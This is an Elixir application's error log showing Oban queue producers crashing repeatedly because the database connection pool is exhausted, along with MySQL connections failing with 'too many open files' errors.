** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:56:27.253125Z], limit: 5, uuid: "e2e8fc11-84d9-47f5-a827-0bffce7204fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.253130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245055>, refresh_timer: #Reference<0.2525715032.1068236804.245033>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:56:27.260919Z], limit: 10, uuid: "011b5cf3-a119-457d-b5a7-639c8c0cab24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.260925Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245056>, refresh_timer: #Reference<0.2525715032.1121189889.100738>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:44.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:47.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:47.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:47.834000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:48.919000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:50.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:56:39.245178Z], limit: 50, uuid: "b394c129-85fb-4602-b110-b6b1c12a0e6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.245183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245418>, refresh_timer: #Reference<0.2525715032.1121189889.100794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:56:39.247955Z], limit: 10, uuid: "71caa4ab-c8a2-45fa-bf70-e28a3934478c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.247960Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245420>, refresh_timer: #Reference<0.2525715032.1099169794.252377>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:56:39.244545Z], limit: 20, uuid: "af731c9c-eb00-4857-b36c-2501c7ae5987", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.244552Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245417>, refresh_timer: #Reference<0.2525715032.1121189889.100774>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:56:39.244785Z], limit: 3, uuid: "db672fb5-67f8-4c52-a75b-661d1177ecc9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.244790Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245419>, refresh_timer: #Reference<0.2525715032.1121189889.100780>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:56:39.243682Z], limit: 5, uuid: "a7e731f1-a026-45e6-af61-68824d80f867", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.243691Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245421>, refresh_timer: #Reference<0.2525715032.1077411843.226125>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:56:39.246872Z], limit: 5, uuid: "5f93a53e-fd04-4d09-a198-10d0a2ef836a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:39.246878Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245416>, refresh_timer: #Reference<0.2525715032.1068236804.245403>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:53.185000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:54.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:55.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:55.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:00.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:03.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
